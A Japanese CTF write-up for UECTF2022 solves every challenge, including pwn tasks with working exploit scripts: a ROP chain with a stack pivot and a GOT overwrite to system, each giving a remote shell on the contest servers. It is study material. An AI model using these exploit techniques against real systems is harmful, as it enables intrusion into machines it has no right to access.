11/18 - 11/20という日程で開催された。stnanとして参加して全完し、2位だった。ずんだの妖精꧁𝕫𝕦𝕟𝕕𝕒𝕞𝕠𝕟꧂に40分負けた。
#UECTF2022 優勝は꧁𝕫𝕦𝕟𝕕𝕒𝕞𝕠𝕟꧂さん!!
— UECTF (@uec_ctf) November 20, 2022
おめでとうございます🎉🎉
また、꧁𝕫𝕦𝕟𝕕𝕒𝕞𝕠𝕟꧂さんと2位のstnanさんは完答でした!
おめでとうございます🎉🎉🎉🎉
最終的なTOP10のスコアボードは画像のようになりました!
参加していただいた皆様、本当にありがとうございました!!! pic.twitter.com/0JtPszsnIO
- [CRYPTO 50] RSA (57 solves)
- [FORENSICS 100] Compare (33 solves)
- [FORENSICS 100] Deleted (53 solves)
- [FORENSICS 127] Discord 1 (30 solves)
- [FORENSICS 323] Discord2 (21 solves)
- [MISC 10] WELCOME (88 solves)
- [MISC 100] caesar (68 solves)
- [MISC 100] redaction gone wrong 1 (71 solves)
- [MISC 100] redaction gone wrong 2 (54 solves)
- [MISC 100] GIF1 (59 solves)
- [MISC 127] GIF2 (30 solves)
- [MISC 400] PDF (16 solves)
- [MISC 400] WHEREAMI (16 solves)
- [MISC 436] OSINT (13 solves)
- [PWN 50] buffer_overflow (48 solves)
- [PWN 356] guess (19 solves)
- [PWN 489] buffer_overflow_2 (6 solves)
- [PWN 488] rot13 (6 solves)
- [REV 50] A file (81 solves)
- [REV 100] revPython (20 solves)
- [REV 323] captain-hook (21 solves)
- [REV 400] discrete (16 solves)
- [REV 450] dotnet (11 solves)
- [WEB 100] webapi (42 solves)
- [WEB 323] request-validation (21 solves)
[CRYPTO 50] RSA (57 solves)
RSA暗号でフラグを暗号化してみました!解読してみてください。
I encrypted the flag with the RSA cipher! Please try to decode it.
添付ファイル: rsa_source.py, output.txt
rsa_source.py
は以下のような内容だった。
from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes, GCD def enc(p_text): N=p*q c_text=pow(p_text,e,N) #cipher_text=plain_text^e mod N print('cipher text:',c_text) print('p:',p) print('q:',q) print('e:',e) e = 65537 p = getPrime(100) q = getPrime(100) #e:public key #p,q: prime number plain=b'UECTF{SECRET}' plain=bytes_to_long(plain) #bytes_to_long:bytes -> number #long_to_bytes:number->bytes enc(plain)
output.txt
はこれ。
cipher text: 40407051770242960331089168574985439308267920244282326945397 p: 1023912815644413192823405424909 q: 996359224633488278278270361951 e: 65537
import binascii import gmpy2 c = 40407051770242960331089168574985439308267920244282326945397 p = 1023912815644413192823405424909 q = 996359224633488278278270361951 e = 65537 d = gmpy2.invert(e, (p - 1) * (q - 1)) m = pow(c, d, p * q) print(binascii.unhexlify(hex(m)[2:]))
実行するとフラグが得られた。
$ python3 solve.py b'UECTF{RSA-iS-VeRy-51Mp1e}'
UECTF{RSA-iS-VeRy-51Mp1e}
[FORENSICS 100] Compare (33 solves)
新しくUECTFのロゴを作ったよ。え?元々あったロゴと同じじゃないかって?君はまだまだ甘いなぁ。
I made a new logo for UECTF. What, do you think it's the same as the original logo? You are still a bit naive.
人間の目にはまったく同じ画像に見えるけれども、なんか違うっぽい。
$ sha256sum * 08d44aa56a8cef70356fe0a8ec510d63a3ec8ef9d0d70f4ea9876261ba5b889b UECTF_new.bmp 54465d578a21551a206f1ca57bd31fb211c9cf44d54a9f8000077d81b3a58f3f UECTF_org.bmp
違う部分を探すスクリプトを書く。
with open('UECTF_org.bmp', 'rb') as f: s = f.read() with open('UECTF_new.bmp', 'rb') as f: t = f.read() print(bytes(y for x, y in zip(s, t) if x != y))
実行するとフラグが得られた。
$ python3 solve.py b'UECTF{compare_two_files_byte_by_byte}'
UECTF{compare_two_files_byte_by_byte}
[FORENSICS 100] Deleted (53 solves)
USBメモリに保存してたフラグの情報消しちゃった。このイメージファイルからどうにか取り出せないものか…
I have deleted the flag information I saved on my USB stick. I wonder if there is any way to retrieve it from this image file...
添付ファイル: image.raw
binwalkで殴る。
$ binwalk -D 'png image:png' image.raw DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 327812 0x50084 xz compressed data 330296 0x50A38 xz compressed data 557056 0x88000 PNG image, 750 x 180, 8-bit/color RGB, non-interlaced 557952 0x88380 Zlib compressed data, best compression 585728 0x8F000 PNG image, 1006 x 38, 8-bit/color RGBA, non-interlaced …
0x8F000
から始まっているPNGがフラグだった。
UECTF{TH1S_1M4G3_H4S_N0T_B33N_D3L3T3D}
[FORENSICS 127] Discord 1 (30 solves)
数日前、CTFの作問をやっている友達が送ってきたフラグの書かれた画像がいつの間にか消されていた。あれがあればこの問題にも正解できるはず… 調べたらDiscordのデータはこのフォルダに色々保存されているらしい。何とかして消された画像を見つけられないだろうか…
A few days ago, a friend of mine who is doing a CTF composition question sent me an image with the flag written on it, which was deleted. If I had that one, I should be able to answer this question correctly... I checked and it seems that Discord data is stored in this folder. I wonder if there is any way to find the deleted image...
添付ファイル: discord1.zip
Crashpad
, GPUCache
, VideoDecodeStats
といったディレクトリがある。それっぽい Cache
や Code Cache
といったディレクトリもある。今回探しているのは画像ということなので、試しに Cache
ディレクトリ下で file *
を走らせ、画像がないか探す。いくつかPNGがあった。
$ cd Cache $ file * … f_00008d: PNG image data, 248 x 300, 8-bit/color RGBA, non-interlaced f_00008e: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced f_00008f: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced f_000090: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced f_000091: PNG image data, 461 x 469, 8-bit/color RGBA, non-interlaced f_000092: Audio file with ID3 version 2.3.0, contains:MPEG ADTS, layer III, v1, 320 kbps, 44.1 kHz, JntStereo index: data
f_00003a
がそれだった。
UECTF{D1SC0RD_1S_V3RY_US3FUL!!}
[FORENSICS 323] Discord2 (21 solves)
前に思いついたフラグ送信しようとして止めたんだけど、やっぱりあれが良かったなぁ… でもちゃんと思い出せないなぁ。このフォルダにはキャッシュとかも残ってるし、どこかに編集履歴みたいなの残ってないかなぁ…
I tried to send to a friend the flag I thought of before and stopped, but I still liked that one... But I can't remember it properly. I'm sure there's a cache or something in this folder, and I'm wondering if there's some kind of edit history somewhere...
添付ファイル: discord2.zip
ディレクトリやファイルの構造はDiscord 1とほぼ同じだった。「前に思いついたフラグ送信しようとして止めた」とのことなので、grep
で UECTF
が含まれるファイルを探す。あった。
$ grep -rl UECTF . ./Local Storage/leveldb/000004.log
該当する部分を見てみる。
$ grep -ao "UECTF{[^}]\+}" "./Local Storage/leveldb/000004.log" UECTF{Y0U_C4N_S33_Y0UR_DRAFT}
UECTF{Y0U_C4N_S33_Y0UR_DRAFT}
[MISC 10] WELCOME (88 solves)
Welcome to UECTF2022! Join the discord server and submit the flag!!
UECTFへようこそ! Discordサーバーにあるflagを提出してください!!
Discordサーバの #📢-announcements
チャンネルにフラグがあるのだれども、
これはUECTFが開催されるというアナウンスに添付されていた画像に含まれる文字列と同じだったので、事前にメモっていた。
11/18 20:00(JST)~11/20 20:00(JST)で初心者向けCTF #UECTF2022 を開催します!
— UECTF (@uec_ctf) November 17, 2022
オンライン開催で何時からでも、どなたでも参加可能です。
ぜひご参加ください!
ルール: https://t.co/R5EXp9FAOM
参加登録: https://t.co/ny28E068u1#UECTF #UECTF2022 #調布祭 pic.twitter.com/YDu4Rf2FQ5
UECTF{C4PTURE_TH3_FL4G_2022}
[MISC 100] caesar (68 solves)
ガイウス・ユリウス・カエサル Gaius Iulius Caesar
添付ファイル: caesar_source.py, caesar_output.txt
caesar_source.py
は以下のようなPythonスクリプトだった。シーザー暗号をアルファベットだけでなく数字、記号にも拡張したやつっぽい。caesar_output.txt
はこれを使ってフラグを「暗号化」したもの。
from string import ascii_uppercase,ascii_lowercase,digits,punctuation def encode(plain): cipher='' for i in plain: index=letter.index(i) cipher=cipher+letter[(index+14)%len(letter)] return cipher ascii_all='' for i in range(len(ascii_uppercase)): ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i] letter=ascii_all+digits+punctuation plain_text='UECTF{SECRET}' cipher_text=encode(plain_text) print(cipher_text)
改造して鍵をブルートフォースする。case-sensitiveであることに注意。
from string import ascii_uppercase,ascii_lowercase,digits,punctuation def encode(plain, x=14): cipher='' for i in plain: index=letter.index(i) cipher=cipher+letter[(index+x)%len(letter)] return cipher ascii_all='' for i in range(len(ascii_uppercase)): ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i] letter=ascii_all+digits+punctuation plain_text='2LJ0MF0o&*E&zEhEi&1EKpmm&J3s1Ej)(zlYG' for x in range(100): print(encode(plain_text, x))
実行するとフラグが得られた。
$ python3 caesar_source.py | grep UECTF UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}
UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}
[MISC 100] redaction gone wrong 1 (71 solves)
NOBODY SHOULD JUST COPY AND PASTE MY FILES!
何人もコピペすべからず!
添付ファイル: challenge.pdf
フラグの部分が黒塗りになっている。Chromeでこの部分を選択してコピペしようとすると、"nope"
がクリップボードにコピーされた。
UECTF{PDFs_AR3_D1ffiCulT_74d21e8}
[MISC 100] redaction gone wrong 2 (54 solves)
We have found this image floating on the internet. Can you tell us what is the redacted text?
インターネット上でこの画像を見つけた。隠されたテキストは何だろうか?
添付ファイル: flag.png
フラグがペンで塗りつぶされている。が、うっすらと見える気がする。
青い空を見上げればいつもそこに白い猫でパレットをランダムにしてみるともっとはっきりと見える。
UECTF{N3ver_ever_use_A_p3n_rofl}
[MISC 100] GIF1 (59 solves)
GIFアニメの中にフラグを隠したよ。え?隠れてないって?そんなぁ…
I tried to hide the flag with GIF animation. Huh? Not hidden...? Oh no...
添付ファイル: UEC_Anime.gif
アニメーションGIFが与えられている。ffmpeg -i UEC_Anime.gif -vsync 2 frames/%d.png
でフレームを切り出す。86枚目で一瞬フラグが表示されていた。
UECTF{G1F_4N1M4T10NS_4R3_GR34T!!}
[MISC 127] GIF2 (30 solves)
今度こそGIFアニメにフラグを隠したよ。人の目で見えるものだけが全てじゃないよ。
I tried to hide the flag in a GIF animation. It's not all about what people can see.
添付ファイル: UECTF.gif
アニメーションGIFその2。また ffmpeg -i UECTF.gif -vsync 2 frames/%d.png
でバラバラにする。人間の目には何も不審な点がないように見える。
青い空を見上げればいつもそこに白い猫で見てみると、RGBのそれぞれLSBにフラグが埋め込まれていた。
UECTF{TH1S_1S_TH3_3NTR4NC3_T0_ST3G4N0GR4PHY}
[MISC 400] PDF (16 solves)
一貫性のあるPDF
Consistent PDF
添付ファイル: chall.pdf
121ページぐらいあるPDFがある。中身は DUMMY PAGE
か空か。Chromeだと何の変哲もないPDFに見えるが、Firefoxだとページ番号の様子がおかしい。
atob('VUVD')
は UEC
なので、ページ番号にフラグが仕込まれていそう。FirefoxでPDFを開き、キーを押すたびにページ番号を記録していくスクリプトを書く。
{ let result = ''; document.body.addEventListener('keyup', () => { result += document.getElementById('pageNumber').value; console.log(result); }, false); }
出力された VUVDVEZ7RG8teTBVLWtOb3ctN2hBVC1QZGYtcGE5RS1OdW1CM1I1LUNBTi1VU0UtTEV0N2VSUy0wN2hFci1USDROLVJPbUBuLU5VTTNSNDEkP30
をBase64デコードするとフラグが出てくる。
UECTF{Do-y0U-kNow-7hAT-Pdf-pa9E-NumB3R5-CAN-USE-LEt7eRS-07hEr-TH4N-ROm@n-NUM3R41$?}
本番では手作業でなんとかした。
[MISC 400] WHEREAMI (16 solves)
あなたの元に友人から「私はどこにいるでしょう?」という件名の謎の文字列が書かれたメールが送られてきました。 さて、これは何を示しているのでしょうか?
You receive an email from your friend with a mysterious string of text with the subject line "Where am I?" Now, what does this indicate?
添付ファイル: mail.txt
与えられたファイルは以下のような内容だった。これはplus code、こないだ見たやつだ!
7RJP2C22+2222222 7RJP2G22+2222222 7VJM2C22+2222222 7VJM2G22+2222222 7RHGWW22+2222222 …
plus codeを緯度・経度に変換するPythonのライブラリを使い、全部緯度・経度に変換した上でCSVにする。
from openlocationcode import openlocationcode with open('mail.txt') as f: s = f.readlines() s = [openlocationcode.decode(x.strip()) for x in s] s = [x.latlng() for x in s] with open('a.csv', 'w') as f: f.write('i,Lat,Long\n') for i, (lat, long) in enumerate(s): f.write(f'{i},{lat},{long}\n')
Googleマイマップで読み込むと、フラグが見えた。
leet表記でcase-sensitiveなのがちょっとつらい。
UECTF{D1d_y0u_Kn0w_aB0ut_Km1?}
[MISC 436] OSINT (13 solves)
There is this link to a Twitter account. However, Twitter says that "This account doesn’t exist." Could you somehow use your magic to find this person? I'm pretty sure he's still using Twitter. Thanks!!
あるTwitterアカウントへのリンクがありました。アクセスすると"このアカウントは存在しません"と表示されて困っているんだ...😖 他の情報源によるとTwitterをまだやっているはずなんだけどなぁ🤔
https://twitter.com/__yata_nano__
とりあえずこのアカウントを見に行くと、存在しないと言われる。screen_nameを変えたのだろう。
Internet ArchiveのWayback Machineで探してみると、あった。ソースを見ると "identifier": "1585261641125416961"
とある。https://twitter.com/intent/user?user_id=1585261641125416961 にアクセスすると、新しいscreen_nameが ftceu
とわかる。最新のツイートを見るとPastebinへのリンクがある。添付されているパスワードを入力するとフラグが得られた。
Congratulations!!!! Enter the password and get the 🚩.
— name (@ftceu) November 19, 2022
password: qRh8EvEtFyhttps://t.co/Mb1ZOIbR6J pic.twitter.com/xWUdD0277A
UECTF{ur_a_tw1tter_mast3r__arent_y0u}
[PWN 50] buffer_overflow (48 solves)
バッファオーバーフローを知っていますか?
Do you know buffer overflow?
コンパイルオプションは-fno-stack-protector
をつけています。
gcc ./bof_source.c -fno-stack-protector
nc uectf.uec.tokyo 30002
添付ファイル: bof_source.c
bof_source.c
は以下のような内容だった。scanf("%s",name);
で明らかにスタックバッファオーバーフローができる。メモリ上は name
のすぐ後ろに debug_flag
があるはずだけれども、この debug_flag
を 1
にすればよいらしい。
#include<stdio.h> #include<string.h> int debug(); int main(){ char debug_flag,name[15]; debug_flag='0'; printf("What is your name?\n>"); scanf("%s",name); if(debug_flag=='1'){ debug(); } printf("Hello %s.\n",name); return 0; } int debug(){ char flag[32]="CTF{THIS_IS_NOT_TRUE_FLAG}"; printf("[DEBUG]:flag is %s\n",flag); }
スタックバッファオーバーフローで置き換える。
$ echo -e "AAAAAAAAAAAAAAA1" | nc uectf.uec.tokyo 30002 What is your name? >[DEBUG]:flag is UECTF{ye4h_th1s_i5_B0f_flag} Hello AAAAAAAAAAAAAAA1.
フラグが得られた。
UECTF{ye4h_th1s_i5_B0f_flag}
[PWN 356] guess (19 solves)
Please guess my password.
私のパスワードを推測してください。 ※総当たりする必要はございません。そういった行為はお控えください。
nc uectf.uec.tokyo 9001
添付ファイル: chall, main.c, flag.txt, secret.txt
main.c
は以下のような内容だった。secret.txt
を当てればよいらしいけれども、無理。実はバッファオーバーフローができて、scanf("%32s", buf);
で32バイト分を入力すると、その次の33バイト目にnull文字が書き込まれる。つまり、メモリ上で buf
の次に配置されている pw
(正解のパスワード)の1バイト目がnull文字になる。strncmp
はnull文字が出現した以降の比較は行わないので、buf
の1バイト目もnull文字にしてつじつまを合わせてやればいい。
#include <stdio.h> #include <string.h> void win() { char flag[0x20]; FILE *fp = fopen("flag.txt", "r"); fgets(flag, 32, fp); puts(flag); fclose(fp); } void secret(char *s) { FILE *fp = fopen("secret.txt", "r"); fgets(s, 32, fp); fclose(fp); } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char buf[32]; char pw[32]; secret(pw); printf("Guess my password\n> "); scanf("%32s", buf); if(strncmp(pw, buf, sizeof(pw)) == 0) { puts("Correct!!!"); win(); } else { puts("Wrong."); } return 0; }
やってみるとフラグが得られた。
$ echo -en "\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | nc uectf.uec.tokyo 9001 Guess my password > Correct!!! UECTF{Wow_are_you_Esper?}
[PWN 489] buffer_overflow_2 (6 solves)
I made it a little harder.
ちょっと難しくしました。
nc uectf.uec.tokyo 9002
添付ファイル: chall, main.c
main.c
は以下のような内容だった。明らかにスタックバッファオーバーフローができる。ただ、バイナリを file
コマンドに通してみるとstatically linkedであることがわかる。system
関数みたいな有用そうなものはなかったのでROPでなんとかする必要がありそう。
#include <stdio.h> #include <unistd.h> void vuln() { char buf[0x60]; printf("> "); read(STDIN_FILENO, buf, 0x80); } int main() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); vuln(); puts("Bye!"); return 0; }
0x20バイト分のバッファオーバーフローができると言ったけれども、vuln
のエピローグが leave; ret
なのもあって、最初に実行できるgadgetは最大で3つだけ。無理がある(しらんけど)ので、stack pivotでなんとかする。あとはrp++でgadgetを探してROP chainを組み立てる。
まず read(STDIN_FILENO, (いい感じに書き込める.bssセクションの適当なアドレス), 0x80)
相当のことをしてから、そのまま vuln
のエピローグである leave; ret
を活用して、RSPを今書き込んだ .bss
セクションの適当なアドレスに移す。2段階目では、syscall
で execve("/bin/sh", NULL, NULL)
する。
from pwn import * pop_rax = 0x4516a7 pop_rdi = 0x4018c2 pop_rsi = 0x40f20e pop_rdx = 0x4017cf syscall = 0x4012d3 vuln = 0x401d65 addr_bss = 0x4c3000 payload1 = b'' payload1 = payload1.ljust(0x60) payload1 += p64(addr_bss) # rbp payload1 += p64(pop_rsi) payload1 += p64(addr_bss) payload1 += p64(vuln+41) payload2 = b'' payload2 += b'/bin/sh\0' payload2 = payload2.ljust(0x8) payload2 += p64(pop_rdi) + p64(addr_bss) payload2 += p64(pop_rsi) + p64(0) payload2 += p64(pop_rdx) + p64(0) payload2 += p64(pop_rax) + p64(59) payload2 += p64(syscall) #s = process('./chall') s = remote('uectf.uec.tokyo', 9002) print('[payload1]') s.recvuntil(b'> ') s.send(payload1) print('[payload2]') s.send(payload2) s.interactive()
実行すると、シェルが取れた。
$ python3 s.py [+] Opening connection to uectf.uec.tokyo on port 9002: Done [payload1] [payload2] [*] Switching to interactive mode $ ls chall flag.txt run.sh
そのままフラグも得られた。
$ cat flag.txt UECTF{B3l13v3_0ur_Fu7ur3}
UECTF{B3l13v3_0ur_Fu7ur3}
[PWN 488] rot13 (6 solves)
We love ROT13.
みんな大好きROT13
nc uectf.uec.tokyo 9003
添付ファイル: chall, libc-2.31.so, main.c
そうでもない。main.c
は以下のような内容だった。長くてむずそう。よく見ると、create
も run
も、というかどのコマンドも index >= MAX_NUM || list[index] == NULL
のように入力されたindexが MAX_NUM
以上でないかチェックはしているものの、0未満であるかどうかはチェックしていない。負数でもOK。そういうわけで、ヒープ領域の list
より前に存在している部分を参照できる。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define MAX_NUM 8 #define BUF_SIZE 0x20 char **list; int get_num(char *msg) { int n; printf("%s", msg); scanf("%d%*c", &n); return n; } void create() { int index = get_num("index: "); if(index >= MAX_NUM) { puts("Invalid!"); exit(EXIT_FAILURE); } char *buf, *p; printf("data: "); buf = malloc(BUF_SIZE); buf[read(STDIN_FILENO, buf, BUF_SIZE-1)] = '\0'; if((p = strrchr(buf, '\n'))) *p = '\0'; list[index] = buf; } void run() { int index = get_num("index: "); if(index >= MAX_NUM || list[index] == NULL) { puts("Invalid!"); exit(EXIT_FAILURE); } char *buf = list[index]; for(; *buf; buf++) { char c = *buf; if(c >= 'a' && c <= 'z') *buf = (c - 'a' + 13) % 26 + 'a'; else if(c >= 'A' && c <= 'Z') *buf = (c - 'A' + 13) % 26 + 'A'; else *buf = c; } puts("Done!"); } void show() { int index = get_num("index: "); if(index >= MAX_NUM) { puts("Invalid!"); exit(EXIT_FAILURE); } puts(list[index]); } void edit() { int index = get_num("index: "); if(index >= MAX_NUM || list[index] == NULL) { puts("Invalid!"); exit(EXIT_FAILURE); } char *buf, *p; printf("data: "); buf = list[index]; buf[read(STDIN_FILENO, buf, BUF_SIZE-1)] = '\0'; if((p = strrchr(buf, '\n'))) *p = '\0'; } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char *name = malloc(BUF_SIZE); printf("name: "); scanf("%10s", name); printf("Hello %s!\n", name); free(name); list = calloc(MAX_NUM, sizeof(char *)); puts("1. create"); puts("2. run"); puts("3. show"); puts("4. edit"); puts("5. exit"); while(1) { int choice = get_num("> "); switch(choice) { case 1: create(); break; case 2: run(); break; case 3: show(); break; case 4: edit(); break; default: puts("Bye!"); exit(EXIT_SUCCESS); } } return 0; }
負数が入力できたら何ができるのか。show
の puts(list[index]);
にブレークポイントを置いて、indexとして-6を入力してみる。すると、直前に create
で入力した文字列が、表示するアドレスとして第一引数に入っていた。おっ。
gdb-peda$ b *(show+81) Breakpoint 1 at 0x401515 gdb-peda$ r name: kiritan Hello kiritan! 1. create 2. run 3. show 4. edit 5. exit > 1 index: 0 data: hoge > 3 index: -6 gdb-peda$ p $rdi $1 = 0x65676f68
これで任意のアドレスの読み込みができることがわかったし、edit
なら任意のアドレスに書き込める。.got.plt
を読んでlibcのアドレスを特定し、puts
を呼ぼうとすると代わりに system
が呼ばれるように .got.plt
を書き換えればよい。
from pwn import * libc = ELF('./libc-2.31.so') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') s = remote('uectf.uec.tokyo', 9003) #s = process('./chall') s.recvuntil(b'name: ') s.sendline(b'a') def execute(cmd, index, data=None, get_res=False): s.recvuntil(b'> ') s.sendline(str(cmd).encode()) s.recvuntil(b'index: ') s.sendline(str(index).encode()) if data is not None: s.recvuntil(b'data: ') s.send(data) if get_res: return s.recvline()[:-1] addr_got_puts = 0x404020 execute(1, 0, p64(addr_got_puts)) # create addr_puts = u64(execute(3, -6, get_res=True).ljust(8, b'\x00')) # show libc_base = addr_puts - libc.symbols['puts'] execute(4, -6, p64(libc_base + libc.symbols['system'])) # edit execute(1, 1, b'/bin/sh') # create execute(3, 1) # show s.interactive()
実行すると、シェルが得られた。
$ python3 solve.py [+] Opening connection to uectf.uec.tokyo on port 9003: Done [*] Switching to interactive mode $ ls chall flag.txt run.sh
そのままフラグが得られる。
$ cat flag.txt UECTF{ROT13_stands_for_ROTate_by_13_places}
UECTF{ROT13_stands_for_ROTate_by_13_places}
[REV 50] A file (81 solves)
誰かがファイルの拡張子を消してしまった。どのような中身のファイルなのか?
Someone erased a file extension. What contents is the file?
添付ファイル: chall
XZですねえ。
$ file chall chall: XZ compressed data
展開するとELFファイルが出てくる。
$ mv chall chall.xz $ xz -d chall.xz $ ls chall $ file chall chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cc6cbef9d855aa72b5673ebe2709fb27b75a6e67, for GNU/Linux 3.2.0, not stripped
このバイナリにフラグが含まれている。
$ strings -n 8 ./chall | grep UECTF UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
[REV 100] revPython (20 solves)
What does this pyc file do?
これは?
添付ファイル: a.cpython-39.pyc, flag.jpg
flag.jpg
はどう見てもJPEGではないが、雰囲気から何らかの文字列とXORしていそうだとわかる。
$ xxd flag.jpg | head 00000000: aa9d bc8f 4638 5546 4156 4579 5746 4057 ....F8UFAVEyWF@W 00000010: 457f 5646 4751 4e7e 5041 4751 4c7c 5243 E.VFGQN~PAGQL|RC 00000020: 4b58 4c77 594e 495f 4d76 5b57 5359 486a KXLwYNI_Mv[WSYHj 00000030: 5b4e 4844 506b 4456 5741 536e 594a 544c [NHDPkDVWASnYJTL 00000040: 506f 4d57 5741 5284 8e45 0055 457f 5140 PoMWWAR..E.UE.Q@ 00000050: 4751 4f7e 504c 5759 4d76 4151 5740 526f GQO~PLWYMvAQW@Ro 00000060: 4151 5740 526f 4151 5740 526f 4151 5740 AQW@RoAQW@RoAQW@ 00000070: 526f 4151 5740 526f 4151 5740 526f 4151 RoAQW@RoAQW@RoAQ 00000080: 5740 526f 4151 5740 526f 4151 bc94 466a W@RoAQW@RoAQ..Fj 00000090: 5d43 175f 0678 5467 4356 577a 5654 42ab ]C._.xTgCVWzVTB.
JPEGのマジックナンバー+αである FF D8 FF
と先頭3バイトをXORすると UEC
と出てくる。strings a.cpython-39.pyc
すると UECTF{
という文字列が含まれていることがわかる。UECTF{
とXORしてみると、フラグの画像が出てきた。
UECTF{oh..did1s0meh0wscr3wup??}
[REV 323] captain-hook (21 solves)
haha, good luck solving this
運も実力のうち!
添付ファイル: captainhook
IDA Freewareでデコンパイルしてみると、いい感じの時刻に実行すると success
と出力され、あとなんか sub_1330
という関数も呼び出されることがわかる。
success
と出力するか、failure
と出力するかを決める jnz
を雑に jz
に変えるとどうなるのか。
パッチをあてて実行するとフラグが得られた。
$ ./captainhook success UECTF{hmmmm_how_did_you_solve_this?}
UECTF{hmmmm_how_did_you_solve_this?}
[REV 400] discrete (16 solves)
Jumping around in memory
記憶の中でジャンプする
添付ファイル: chall
入力した文字列がフラグかどうかチェックしてくれるバイナリが与えられる。まずはフラグの文字列を特定したい。
$ ./chall flag: hoge invalid input length
34文字っぽい。
なんか strncmp
をしている。ここにブレークポイントを置いてみる。
引数を見てみると、3バイトずつフラグをチェックしているように見える。
$ gdb ./chall gdb-peda$ b *0x5555555560ba Breakpoint 1 at 0x5555555560ba gdb-peda$ r flag: AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKK gdb-peda$ x/s $rdi 0x7fffffffda0d: "UEC" gdb-peda$ x/s $rsi 0x7fffffffd8c0: "AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKL"
x/s $rdi
し続けると、ちょっとずつフラグが得られる。
UECTF{dynamic_static_strings_2022}
[REV 450] dotnet (11 solves)
簡単にデコンパイルできるフレームワークを使って書いたので、難読化を施しました。 なので、難読化が正しく行われていれば秘密情報にはアクセスできないはずです・・・ (アプリケーションはLinux-x64で動作させることを想定しています)
I obfuscated this because I made this using an easily decompilable framework. So, if the obfuscation is done correctly, the secret information should not be accessible... (The application is intended to run on Linux-x64)
ファイル名からもわかるように、ELFファイルが与えられている。.NETのデコンパイルといえばdnSpyかILSpyだ。ILSpyに投げるとデコンパイルできた。この名前がUUIDになっているクラスがフラグのチェック処理っぽい。
同じ処理をすればよい。
$ python3 >>> a = [255, 238, 235, 253, 232, 212, 237, 221, 210, 207, 201, 194, 199, 211, 205, 202, 212, 200, 149, 218, 204, 218, 221, 201, 215, 215, 157, 198, 223, 195, 220, 152, 206, 228, 252, 231, 235, 251, 161, 227, 231, 230, 228, 172, 242, 232, 169, 231, 255, 182, 254, 236, 242, 243, 229, 176, 226, 225, 255, 229, 243, 244, 224, 240, 142, 202, 149] >>> s = bytes(a) >>> bytes(x ^ 0xaa ^ i for i, x in enumerate(s)) b'UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}'
UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}
[WEB 100] webapi (42 solves)
サーバーからフラグを取ってきて表示する web ページを作ったけど、上手く動かないのはなんでだろう?
I created a web page that fetches flags from the server and displays them, but why doesn't it work?
与えられたURLにアクセスすると、たしかに server error
と表示されていてうまく動いていないように見える。
ソースを見ると以下のような処理があった。CORSのせいでブロックされていそう。
const FLAG_URL = 'https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/'; fetch(FLAG_URL) .then(data => { document.getElementsByClassName('flag-data')[0].innerText = data; }) .catch(err => { document.getElementsByClassName('flag-data')[0].innerText = 'server error'; })
この FLAG_URL
に直接アクセスするとフラグが得られた。
UECTF{cors_is_browser_feature}
[WEB 323] request-validation (21 solves)
GET リクエストでオブジェクトを送ることはできますか? ※ まずは、自分の環境でフラグ取得を確認してください。
Can you request a object?
- First, please check the flag acquisition in your environment.
添付ファイル: request-validation.tar.gz
ソースコードが与えられている。メインの node.js
は以下のような感じ。req.query.q
とクエリパラメータの q
がオブジェクトならフラグが得られるっぽい。
require('dotenv').config(); const express = require('express') const app = express() const PORT = process.env.PORT || 8080; app.listen(PORT, () => { console.log(`Example app listening on port ${PORT}`) }) const FLAG = process.env.FLAG || 'flag{dummy_flag}' app.get('/', (req, res) => { if (req.query.q && typeof req.query.q === 'object') { res.send(FLAG) } else { res.send('invalid request') } })
Expressがクエリ文字列のパースに使うqsというライブラリは、?a[b]=123
のようにブラケットを使うとオブジェクトを表現できる。/?q[]=a
にアクセスするとフラグが得られた。
UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}